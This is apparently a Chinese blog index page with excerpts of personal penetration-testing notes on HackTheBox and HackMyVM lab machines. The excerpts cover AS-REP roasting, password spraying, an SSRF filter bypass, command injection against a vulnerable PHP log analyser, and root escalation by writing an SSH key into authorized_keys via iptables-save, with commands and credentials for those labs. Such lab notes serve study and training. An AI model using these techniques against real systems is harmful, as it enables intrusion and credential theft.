[HTB]第六章

本章靶机为Cat、Backfire、Titanic。(本章踩坑细节比较多) apache2 access.log 这个文件下会有好东西,一般碰到用GET传敏感数据的地方都可以关注一下 PDO语句 一般在做数据库交互的地方都会用PDO语句防止sql注入,像下面这样 出现这种sql执行一般可以直接略过,不会出现注入。什么样的地方才可能出现注入呢?像下面这样 这里只有delete语句做PDO处理,insert语句使用直接拼接的方式。sqlmap就能扫出来 登录框、表单提交和邮件 都是xss出现的重灾区,多发发 邮箱 在/var/mail目录,linpeas能扫出可以访问的邮箱目录 Gitea 一个能让你搭建类似github一样的代码托管仓库的开源项目。当然需要注意它的版本,可能会有xss漏洞 https://www.exploit-db.com/exploits/52077 另外,如果能直接读文件,就要关注一些Gitea的敏感文件。比如data/gitea/gitea.db、data/gitea.db、custom/conf/app.ini和data/conf/app.ini swaks 简易邮件发送小工具,格式如下 swaks --to "aka@redshome.com" --from "sunny@localhost" --header "Subject: click link" --body "http://localhost:3000/" --server localhost --port 25 --timeout 30s wss协议 ws套上了tls就是wss。包体也不太一样,不能直接用ws连wss ssh-keygen 用来生成私钥。有些靶机不吃ed25519,rsa比较通用 ssh-keygen -t rsa -b 4096 或者 ssh-keygen -t ed25519 字节长度其实无所谓,打靶机能用就行 iptables-save提权 和gobuster提权有点类似。把ssh公钥通过iptables规则保存到authorized_keys里。具体操作如下 首先把公钥写到一个input链里 iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFafyRywbrdQjXxVMl1rKsXLVdY4xnkFTNAAkDGRPsiJ root@akared' 再保存即可 iptables-save -f /root/.ssh/authorized_keys 接口的权限 有时候像download、filename这种接口的权限就足够读user.txt,多试试 一个john的小坑 john在指定wordlist的时候记得要加=或者:,不然会扫不出来 ...

February 27, 2025 · 1 min · Red

[HTB]第五章

本篇靶机Certified,Cicada,EscapeTwo。环境都为windows AS-REPRoasting 一种针对 Windows AD的密码攻击技术,它的目标是从AD中抓取和破解弱密码的用户凭据。这种技术特别针对使用 Kerberos 认证协议 的环境 其实有点类似像批量尝试匿名登陆,攻击脚本如下 impacket-GetNPUsers -dc-ip 10.10.11.41 -no-pass -request -usersfile user_list certified.htb/ nxc smb常用攻击参数 --rid-brute:用rid爆破用户名,爆破出来的可能比实际少,一般是在只有匿名用户的时候用 --continue-on-success:用来测试用户名和密码,直到成功也不停下。也就是密码喷洒 --shares:用来查看当前用户能够访问的smb目录 --users:查看当前用户能看到的用户名,会比rid-brute准确。而且能看到desc,说不定会有特殊收获 --local-auth:使用当前被攻击机器自带的本地身份验证,而不使用域验证 SeBackupPrivilege和SeRestorePrivilege权限 当使用whoami /pri查看用户有SeBackupPrivilege和SeRestorePrivilege权限时,就可以用PTH 步骤是先将注册表中的sam和system存下来 接着用secretsdump dump出hash 最后拿着hash登陆就行 或者用nxc smbclient 使用格式如下 smbclient '\\11.4.5.14\' -U akared 进入后再输入密码就行 windows server常用端口服务对照表 445:smb(共享文件服务) 5985:winrm(远程命令执行) 135:rpcclient (搜集用户名和组名) 1433:mssql(数据库) awk妙用 除了常规的-F分割外,还有一个就是NR。这个表示当前行数,从1开始计数。下面是个例子 awk -F' ' 'NR>1 {print $5}' 这样就能去掉首行内容。另外,awk还有一个特殊元素是$0,表示当前行的整行内容 awk经常被用在和paste配套使用,paste是用来对输出内容进行分割的,这样awk处理完的端口数据就可以直接丢到nmap Writeowner权限修改密码 理论上说,有这个权限应该就能修改被控用户的密码。但这位博主没有成功,不知道为什么,就顺手记录一下吧https://cn-sec.com/archives/3623739.html bloodhound信息收集 除了传统的上传exe和ps1搜集,还有一种是直接通过bloodhound-python,这种方法可以不需要拿到shell,但用户名密码还是得提供。适用于shell不方便使用的时候 bloodhound-python -c All -u oscar -p 86LxLBMgEWaKUnBG -ns 10.10.11.51 -d sequel.htb -dc DC01.sequel.htb --zip bloodAD 一个可以修改用户AD中保存的权限的工具,下面示例如何修改用户ca_svc的owner为ryan ...

February 4, 2025 · 1 min · Red

[HMV]第一章

一个新发现的靶场hackmyvm,随便拿台靶机试试难度,本期靶机boxing url用户名 这个之前CTF题里遇到过,这里用来绕SSRF的访问域名限制了,用得挺巧妙的。先来看一下代码 <?php if(isset($_GET['url'])){ $url = $_GET['url']; if (!preg_match("/^http[s]?:\/\//", $url)) { $url = "http://" . $url; } if (strpos($url, "http://boxing.hmv") === 0 || strpos($url, "https://boxing.hmv") === 0) { $content = file_get_contents($url); echo $content; } else { echo "Unauthorized URL."; } } ?> 简答来说就是输入的内容会被拼接到http://后,再判断是不是http://boxing.hmv,如果是就读取 逻辑很简单,问题就出在拼接。如果我此时想访问这台机子的127.0.0.1:5000,如果我直接输入就会变成http://127.0.0.1:5000,没法访问。但如果我输入的是http://boxing.hmv@127.0.0.1:5000,这样就既能满足判断条件(因为是strpos位置匹配而不是preg_match这种全匹配),因此就能过 原理可以看这篇靶场笔记的parse_url与curl一栏https://redshome.top/2024/06/30/靶场笔记第十九章/ 特殊字符fuzz 有时候碰到理论上能行但却没有执行结果的时候,确保拼接起来的命令能执行后,要思考的就是是否过滤掉了特殊字符。比如空格、引号这种老黑户 这个时候就可以把空格或者引号的地方fuzz一下换成别的,比如+这个神奇的符号。也许你直接在shell运行不对,但放到web上就对了,原因有可能是apache2启用了Rewrite配置或者php做了str_replace(在本题php里没找到replace,因此猜测是apache2,不过粗略搜索后也没发现,就有点发懵了= =) 放上fuzz的语句供参考 ffuf -u 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=asdFUZZ-eFUZZid' -w chars.txt -fs 2548 incrontab 简单来说就是一个处理正在监听中的系统事件的程序,而这个程序在这台机子里由一个叫incrontab.sh的脚本运行,用来监听一些事件,其中有一个事件如下 echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab - 意思就是当user.txt被更改权限时触发sos.sh运行 file * 这段指令的意思乍一看就是把所有文件名匹配并填入这个*。而这么做的操作空间就很大了,可以利用file的-f参数来达到读取文件的目的。 file -f fname 这段指令的意思是将fname的内容当作文件名被file处理。而问题就出在如果fname内容不存在,则会出现下面这一幕 ...

February 3, 2025 · 1 min · Red

[HTB]第四章

终于到了medium难度,一台靶机能学到的东西更多。本篇靶机为Instant apktools 主要是用来做apk逆向,用法有d(decode)和b(build)两种,d用的更多,因为要解包看有什么内容 grep -R 感觉现在再写grep参数有点水字数的意思= = -R是递归且跟踪软/硬链接 通过apk搜集子域名和token等敏感信息 RT,如果从网站某个角落挖到一个apk,如果这个apk联网,那么大概率是需要链接到某个与网站有关的路径或者子域的。一般会和上面的grep结合起来用 一般带有admin、test等字样的函数也是重点观察对象,有可能存在开发者粗心留下的测试后门 以及“pass,” “pwd,” “user,”等 ssh -i -i后面加identify_file,也就是私钥 这里再补充一个小知识点,一般我们的电脑去连接远端服务器的时候,我们的电脑里存的是私钥而不是公钥,公钥存放在远端服务器里。我们可以通过将本地自己生成的公钥事先放到远端服务器上,随后用 [m]get -r sftp和smbclient中的小窍门,下载文件夹 solar-putty 这是一个类似putty的东西,使用者有可能会留下一些加密过的备份文件在服务器上,如果使用者曾经使用过solar-putty进行ssh登录那么就有可能导致ssh密码泄漏 小tips 说是都要分析一遍,尤其是backup这种敏感文件,但实战中linpeas一扫出来简直不要太眼花缭乱 怎么办呢?其实linpeas扫出来的不一定都是能看到,比如下面这样 如果要一眼看出有什么有用信息,那么权限肯定是最好的切入点。毕竟扫出来多是多但还是得挑能看到 还有一个害我差点重装系统的坑,就是私钥最后一行必须有一个回车,不然就会报这个b错 一度让我怀疑是不是kali的什么东西炸了,结果看到ubuntu给的报错 才去检查格式问题,最后发现私钥最后一行必须加换行 这就是我们ubuntu

December 20, 2024 · 1 min · Red

[HTB]第三章

本篇靶机为Sea、Sightless和Chemistry hashcat、hydra和john的小常识 三者格式如下 hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt john hash --wordlist=/usr/share/wordlists/rockyou.txt hydra -L users.txt -p '???' ssh://ip 其中users.txt和hash为文件,hydra用来ssh密码喷洒 顺便记录一下hashcat -a的attck mode都是什么意思 shell中的注释 php代码如下 <?php if (isset($_POST['analyze_log'])) { $log_file = $_POST['log_file']; $suspicious_traffic = system("cat $log_file | grep -i 'sql\|exec\|wget\|curl\|whoami\|system\|shell_exec\|ls\|dir'"); if (!empty($suspicious_traffic)) { echo "<p class='error'>Suspicious traffic patterns detected in $log_file:</p>"; echo "<pre>$suspicious_traffic</pre>"; } else { echo "<p>No suspicious traffic patterns detected in $log_file.</p>"; } } ?> 很明显是要命令注入$log_file,但在CTF里学的绕过方法都不奏效,是因这里有一个管道符|在捣乱 所以思路是要让管道符失效,linux shell中让后续命令失效的办法只有一个,那就是注释,所以直接用 #注释就行 ...

December 19, 2024 · 1 min · Red